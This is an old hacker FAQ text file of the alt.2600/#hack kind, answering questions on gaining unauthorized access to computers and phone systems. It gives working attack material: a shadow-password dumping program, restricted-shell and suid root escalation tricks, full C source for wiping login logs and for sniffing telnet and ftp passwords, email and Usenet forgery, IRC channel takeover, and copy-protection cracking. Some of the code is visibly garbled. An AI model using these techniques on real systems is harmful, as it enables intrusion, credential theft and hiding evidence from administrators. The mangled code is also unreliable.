Awesome textfile, good spelling too.

Section A: Computers

01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. How do I access the password file under VMS?
04. How do I crack VMS passwords?
05. What is NIS/yp?
06. What is password shadowing?
07. How do I break out of a restricted shell?
08. How do I gain root from a suid script or program?
09. How do I erase my presence from the system logs?
10. How do I send fakemail?
11. How do I fake posts to UseNet?
12. How do I hack ChanOp on IRC?
13. How do I modify the IRC client to hide my real username?
14. What is a trojan/worm/virus/logic bomb?
15. How can I protect myself from virii and such?
16. What is Cryptoxxxxxxx?
17. What is PGP?
18. What is Tempest?
U 19. How to I change to directores with strange characters in them?
20. What is ethernet sniffing?
21. What is an Internet Outdial?
22. What are some Internet Outdials?
N 23. How do I defeat copy protection?
N 24. What is this system?
N 25. What are the default accounts for XXX ?
N 26. What port is XXX on?


Section B: Telephony

U 01. What is a Red Box?
U 02. How do I build a Red Box?
N 03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. What is a Blue Box?
06. Do Blue Boxes still work?
07. What is a Black Box?
08. What do all the colored boxes do?
U 09. What is the ANAC number for my area?
10. What is a ringback number?
U 11. What is the ringback number for my area?
12. What is a loop?
13. What is a loop in my area?
14. What is a CNA number?
U 15. What is the telephone company CNA number for my area?
16. What is scanning?
17. Is scanning illegal?
N 18. Where can I purchase a lineman's handset?
N 19. What are the DTMF frequencies?


Section C: Resources

U 01. What are some ftp sites of interest to hackers?
U 02. What are some newsgroups of interest to hackers?
03. What are some telnet sites of interest to hackers?
U 04. What are some gopher sites of interest to hackers?
U 05. What are some World wide Web (WWW) sites of interest to hackers?
06. What are some IRC channels of interest to hackers?
07. What are some BBS's of interest to hackers?
08. What books are available on this subject?
U 09. What are some mailing lists of interest to hackers?
N 10. What are some print magazines of interest to hackers?
N 11. What are some organizations of interest to hackers?


Section D: 2600

N 01. What is alt.2600?
N 02. What does "2600" mean?
N 03. Are there on-line versions of 2600 available?
N 04. I can't find 2600 at any bookstores.  What can I do?
N 05. Why does 2600 cost more to subscribe to than to buy at a newsstand?


Section E: Miscellaneous

U 01. What does XXX stand for?
N 02. How do I determine if I have a valid credit card number?
U 03. Where can I get a copy of the #hack FAQ?



U == Updated since last release of the #hack FAQ
N == New since last release of the #hack FAQ




Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.


02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted with each of the 4096 possible salt values and the
results are compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently
CrackerJack.


03. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.


04. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.


05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machies on a network to share configuration information, including
password data. NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file with
a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"


06. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/password is replaced with a special token and the
encrypted password is stored in a seperate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include 
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}


07. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell


08. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Seperator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell


2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#


3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot


4. Send bad input the the program.

Invoke the name of the program and a seperate command on the same
command line.

Example:

suidprog ; id


09. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

Example:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
  struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
   while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
     if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof( utmp_ent ));
               lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
               write (f, &utmp_ent, sizeof (utmp_ent));
          }
   close(f);
}
}

void kill_wtmp(who)
char *who;
{
  struct utmp utmp_ent;
  long pos;

  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {

   while(pos != -1L) {
      lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
      if (read (f, &utmp_ent, sizeof (struct utmp))<0) pos =" -1L;" pos =" -1L;" pwd="getpwnam(who))!="NULL)" f="open(LASTLOG_NAME,">= 0) {
          lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
          bzero((char *)&newll,sizeof( newll ));
          write(f, (char *)&newll, sizeof( newll ));
          close(f);
      }

  } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
  if (argc==2) {
      kill_lastlog(argv[1]);
      kill_wtmp(argv[1]);
      kill_utmp(argv[1]);
      printf("Zap2!\n");
  } else
  printf("Error.\n");
}


10. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:

HELO bellcore.com
MAIL FROM:Voyagor@bellcore.com
RCPT TO:clinton@whitehouse.gov
DATA

      Please discontinue your silly Clipper initiative.
.
QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.


11. How do I fake posts to UseNet?

Use inews to post.  Give inews the following lines:

From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:

For a moderated newsgroup, inews will also require this line:

Approved:

Then add your post and terminate with .

Example:

From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: 
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority

A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.

                                      Eric S. Raymond 


^D

Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.


12. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.


13. How do I modify the IRC client to hide my real username?

Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
code files irc.c and ctcp.c.  The code you are looking for is fairly
easy to spot.  Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c.  Compile and run your client.

Here are the diffs from a sample hack of the IRC client.  Your client
code will vary slighty depending on what IRC client version you are
running.

*** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c      Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
      struct  passwd  *pwd;
      long    diff;
      int     uid;
!       char    c;

      /*
       * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
      struct  passwd  *pwd;
      long    diff;
      int     uid;
!       char    c, *fing;

      /*
       * sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
      if (uid != DAEMON_UID)
      {
#endif /* DAEMON_UID */     
!               if (pwd = getpwuid(uid))
              {
                      char    *tmp;

--- 348,356 ----
      if (uid != DAEMON_UID)
      {
#endif /* DAEMON_UID */     
!               if (fing = getenv("IRCFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
              {
                      char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993
--- irc.c       Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
              malloc_strcpy(&my_path, "/");
      if (*realname == null(char))
              strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (*username == null(char))
      {
              if (ptr = getenv("USER"))
                      strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
              malloc_strcpy(&my_path, "/");
      if (*realname == null(char))
              strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (ptr = getenv("IRCUSER"))
!               strmcpy(username, ptr, NAME_LEN);
!       else if (*username == null(char))
      {
              if (ptr = getenv("USER"))
                      strmcpy(username, ptr, NAME_LEN);


14. What is a trojan/worm/virus/logic bomb?

This FAQ answer is excerpted from: Computer Security Basics
                                 by Deborah Russell
                                 and G.T. Gengemi Sr.

Trojan:     An independent program that appears to perform a useful
          function but that hides another unauthorized program
          inside it.  When an authorized user performs the apparrent
          function, the trojan horse performs the unauthorized
          function as well (often usurping the priveleges of the
          user).

Virus:      A code fragment (not an independent program) that
          reproduces by attaching to another program.  It may damage
          data directly, or it may degrade system performance by
          taking over system resources which are then not available
          to authorized users.

Worm:       An independent program that reproduces by copying itself
          from one system to another, usually over a network.  Like
          a virus, a worm may damage data directly, or it may
          degrade system performace by tying up system resources and
          even shutting down a network.

Logic Bomb: A method for releasing a system attack of some kind.  It
          is triggered when a particular condition (e.g., a certain
          date or system operation) occurs.


15. How can I protect myself from virii and such?

Always write protect your floppy disks when you are not purposefully
writing to them.

Use ATTRIB to make all of your EXE and COM files read only.  This will
protect you from many poorly written viruses.

Scan any software that you receive with a recent copy of a good virus
scanner.  The best virus scanner currently available for DOS is F-Prot
by Fridrik Skulason.  The current version is FP-212C.  It is best to
use more than one virus scanner.  That will decrease your chances of
missing a virus.

Backup regularly, and keep several generations of backups on hand.
If you always backup over your last backup, you may find yourself with
an infected backup tape.


16. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                 by Deborah Russell
                                 and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.


17. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                 Volume I: Essential Topics
                                 by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MSDOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the
masses.


18. What is Tempest?

Computers and other electonic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until
you space them apart.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project
a target was working on.  We could sit in a van outside her office and
use sensitive electonic equipment to attempt to pick up and decipher
the emanations from her video monitor.

Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.


19. How to I change to directores with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

  -F   Causes directories to be marked with a trailing ``/'',
       executable files to be marked with a trailing ``*'', and
       symbolic links to be marked with a trailing ``@'' symbol.

  -q   Forces printing of non-graphic characters in filenames as the
       character ``?''.

  -b   Forces printing of non-graphic characters in the \ddd
       notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" too see exactly
what those bizarre little characters are.

From the man page for cat:

  -v  Causes non-printing characters (with the exception of tabs,
      newlines, and form feeds) to be displayed.  Control characters
      are displayed as ^X (x), where X is the key pressed with
      the  key (for example, m is displayed as ^M).  The
       character (octal 0177) is printed as ^?.  Non-ASCII
      characters (with the high bit set) are printed as M -x, where
      x is the character specified by the seven low order bits.

  -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
      option is ignored if the -v option is not specified.

  -e  Causes a ``$'' character to be printed at the end of each line
      (prior to the new-line).  This option is ignored if the -v
      option is not set.

If the directory name includes a  or a  you will need to
enclose the entire directory name in quotes.  Example:

cd ".."

On an IBM-PC, you may enter these special characters by holding down
the  key and entering the decimal value of the special character
on your numeric keypad.  When you release the  key, the special
character should appear on your screen.  An ASCII chart can be very
helpful.


20. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many enternet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
SunOS           etherfind
Solaris         snoop
DOS             ETHLOAD
              LanWatch
              The Gobbler
              Netmon
              LanPatrol
              Netwatch

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 

#define ERR stderr

char    *malloc();
char    *device,
      *ProgName,
      *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
   struct CREC *Next,
               *Last;
   time_t  Time;              /* start time */
   struct in_addr SRCip,
                  DSTip;
   u_int   SRCport,           /* src/dst ports */
           DSTport;
   u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
   u_int   Length;            /* current data length */
   u_int   PKcnt;             /* # pkts */
   u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
    gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

 switch(port) {
   case IPPORT_LOGINSERVER: p="rlogin"; break;
   case IPPORT_TELNET:      p="telnet"; break;
   case IPPORT_SMTP:        p="smtp"; break;
   case IPPORT_FTP:         p="ftp"; break;
   default: sprintf(buf,"%u",port); p=buf; break;
 }
 return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))  /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \  register struct CREC *CLtmp = \        (struct CREC *)malloc(sizeof(struct CREC)); \  time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
  if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
      IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
          break;
  CLr = CLr->Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
register u_char lastc=0; \
while(ln-- >0) { \
   if(*dp < lastc="="'\r')" lastc="="'\n')" lastc="="'\0')" lastc =" *dp++;">Time));
 fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
 fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
 fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                      NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
 fprintf(LOG," DATA: ");
  { register u_int i = CLe->Length;
    register u_char *p = CLe->Data;
    PR_DATA(p,i);
    PR_DATA(d,dl);
  }

 fprintf(LOG,"\n-- \n");
 fflush(LOG);

 if(CLe->Next != NULL)
  CLe->Next->Last = CLe->Last;
 if(CLe->Last != NULL)
  CLe->Last->Next = CLe->Next;
 else
  CLroot = CLe->Next;
 free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIMENext; \
     if(CLe->Time ether_type);

 if(EtherType < ethertype =" *(u_short" ip =" (struct">ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
     (TCPD == IPPORT_LOGINSERVER) ||
     (TCPD == IPPORT_FTP)
 )) return;

{ register struct CREC *CLm;
 register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
 register u_char *p = (u_char *)Packet;

 p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

 if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

    CLm->PKcnt++;

    if(length>0)
      if( (CLm->Length + length) < cle="CLroot)" at =""> %s\n",NOWtm());
  fflush(LOG);
  if(LOG != stdout)
      fclose(LOG);
  exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
  int cc;
  char *buf;
  u_short sp_ts_len;

  if(!(buf=malloc(CHUNKSIZE)))
      Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
{
  struct strioctl si;
  struct ifreq    ifr;
  struct timeval  timeout;
  u_int  chunksize = CHUNKSIZE;
  u_long if_flags  = NI_PROMISC;

  if((if_fd = open(NIT_DEV, O_RDONLY)) < ic_timout =" INFTIM;" tv_sec =" 1;" tv_usec =" 0;" ic_cmd =" NIOCSTIME;" ic_len =" sizeof(timeout);" ic_dp  =" (char" ic_cmd =" NIOCSCHUNK;" ic_len =" sizeof(chunksize);" ic_dp  =" (char" ic_cmd =" NIOCBIND;" ic_len =" sizeof(ifr);" ic_dp  =" (char" ic_cmd =" NIOCSFLAGS;" ic_len =" sizeof(if_flags);" ic_dp  =" (char" cc =" read(if_fd,">= 0) {
      register char *bp = buf,
                    *bufstop = (buf + cc);

      while (bp < cp =" bp;" hdrp =" (struct">nhb_totlen;
          filter(cp, (u_long)hdrp->nhb_msglen);
      }
  }
  Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

  strcpy(pwd,AUTHPASSWD);
  sprintf(prmpt,"(%s)UP? ",ProgName);
  buf=getpass(prmpt);
  if(strcmp(pwd,crypt(buf,pwd)))
      exit(1);
}
  */
void main(argc, argv)
int argc;
char **argv;
{
  char   cbuf[BUFSIZ];
  struct ifconf ifc;
  int    s,
         ac=1,
         backg=0;

  ProgName=argv[0];

/*     getauth(); */

  LOG=NULL;
  device=NULL;
  while((ac< ifc_len =" sizeof(cbuf);" ifc_buf =" cbuf;" device =" ifc.ifc_req-">ifr_name;
  }

  fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
          (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

  if(!LOG)
      LOG=stdout;

  signal(SIGINT, death);
  signal(SIGTERM,death);
  signal(SIGKILL,death);
  signal(SIGQUIT,death);

  if(backg && debug) {
       fprintf(ERR,"[Cannot bg with debug on]\n");
       backg=0;
  }

  if(backg) {
      register int s;

      if((s=fork())>0) {
         fprintf(ERR,"[pid %d]\n",s);
         exit(0);
      } else if(s<0) s="open(">0 ) {
              ioctl(s,TIOCNOTTY,(char *)NULL);
              close(s);
      }
  }
  fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  fflush(LOG);

  do_it();
}


21. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.


22. What are some Internet Outdials?

This FAQ answer is excerpted from: BlackAdders FTP/FSP Site List.


Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
201     128.112.88.0
      128.112.88.1
      128.112.88.2
      128.112.88.3
204     umnet.cc.manitoba.ca            "dial12" or "dial24"
206     dialout24.cac.washington.edu
215     wiseowl.ocis.temple.edu         atz
                                      atdt 9xxxyyyy
      129.72.1.59                     hayes compat
218     aa28.d.umn.edu                  cli
                                      rlogin modem
                                      at "login:" type
                                      "modem"
      modem.d.umn.edu                 "Hayes"
232     isn.rdns.iastate.edu            MODEM              [Works!!]
                                      atz
                                      atdt8xxx-xxxx
303     129.82.100.64                   login: modem       [need password!]
307     modem.uwyo.edu
      129.72.1.59                     hayes compat
313     35.1.1.6                        "dial2400-aa" or   [can't connect]
                                      "dial1200-aa"
404     emory.edu                       .modem8 or
                                      .dialout
      broadband.cc.emory.edu          .modem8 or
                                      .dialout
      128.140.1.239                   .modem8|CR
                                      or .modem96|CR
412     gate.cis.pitt.edu               LAT
                                      connect dialout
                                      ^E
                                      atdt 91k xxx-xxxx
415     128.32.132.250                  "dial1" or "dial2"
416     pacx.utcs.utoronto.ca           modem
                                      atdt 9xxx-xxxx
502     uknet.uky.edu                   outdial2400
                                      atdt 9xxx-xxxx
510     annex132-1.eecs.berkeley.edu    atdt 9,,,,, xxx-xxxx
514     132.204.2.11                    externe#9 9xxx-xxxx
515     isn.rdns.iastate.edu            login MODEM
                                      dial atdt8xxx-yyyy
602     129.219.17.3                    atdt8,,,,,xyyyxxxyyyy
      129.219.17.3                    login: MODEM
                                      atdt 8xxx-xxxx
609     129.72.1.59                     "Hayes"
      128.119.131.110                 "Hayes"
      128.119.131.111       
      128.119.131.112
      128.119.131.113
      128.119.131.114
      128.112.131.110
      128.112.131.111
      128.112.131.112
      128.112.131.113
      128.112.131.114                 the above are hayes
614     ns2400.ircc.ohio-state.edu      DIAL               [can't connect]
615     dca.utk.edu                     "dial2400"
617     dialout.lcs.mit.edu
619     dialin.ucsd.edu                 "dialout"
      128.54.30.1                     nue
713     128.143.70.101                  "connect hayes"
      128.249.27.154                  c modem96
                                      atdt 9xxx-xxxx
      128.249.27.153                  " -+ as above +- "
      modem24.bcm.tmc.edu
      modem12.bcm.tmc.edu
714     130.191.4.70                    atdt 8xxx-xxxx
804     ublan.acc.virginia.edu          c hayes
      128.143.70.101                  connect hayes
                                      atdt xxx-xxxx
902     star.ccs.tuns.ca                "dialout"          [down...]
916     128.120.2.251                   "dialout"          [down...]
      129.137.33.72                                      [can't connect]
???     dialout1.princeton.edu                             [can't connect]
      dswitch.byu.edu                 "C Modem"          [can't connect]
      modem.cis.uflu.edu                                 [can't connect]
      r596adi1.uc.edu                                    [can't connect]
      vtnet1.cns.ut.edu               "CALL" or "call"   [can't connect]
      18.26.0.55                                         [can't connect]
      128.173.5.4                                        [need password!]
      128.187.1.2                                        [need password!]
      129.137.33.71                                      [can't connect]
      bstorm.bga.com / port=4000                         [what is this?]


N 23. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site.  Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer.  No one reading the post will know your real account
name or host name.  If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.


N 24. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus.  To obtain an anonymous ID, mail
ping@anon.penet.fi.  For assistance is obtaining an anonymous account
at penet, mail help@anon.penet.fi.


N 23. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.


N 24. What is this system?

AS/400
~~~~~~
> UserID?
> Password?
>
> Once in, type GO MAIN

CDC Cyber
~~~~~~~~~
> WELCOME TO THE NOS SOFTWARE SYSTEM.
> COPYRIGHT CONTROL DATA 1978, 1987.
>
> 88/02/16. 02.36.53. N265100
> CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
> FAMILY:
>
> You would normally just hit return at the family prompt.  Next prompt is:
>
> USER NAME:

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
> MPE XL:
> EXPECTED A :HELLO COMMAND. (CIERR 6057)
> MPE XL:
> EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
> MPE XL:

GTN
~~~
> WELCOME TO CITIBANK. PLEASE SIGN ON.
> XXXXXXXX
>
> @
> PASSWORD =
>
> @
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> PLEASE ENTER YOUR ID:-1->
> PLEASE ENTER YOUR PASSWORD:-2->
>
> CITICORP (CITY NAME). KEY GHELP FOR HELP.
>   XXX.XXX
>  PLEASE SELECT SERVICE REQUIRED.-3->

PRIMOS
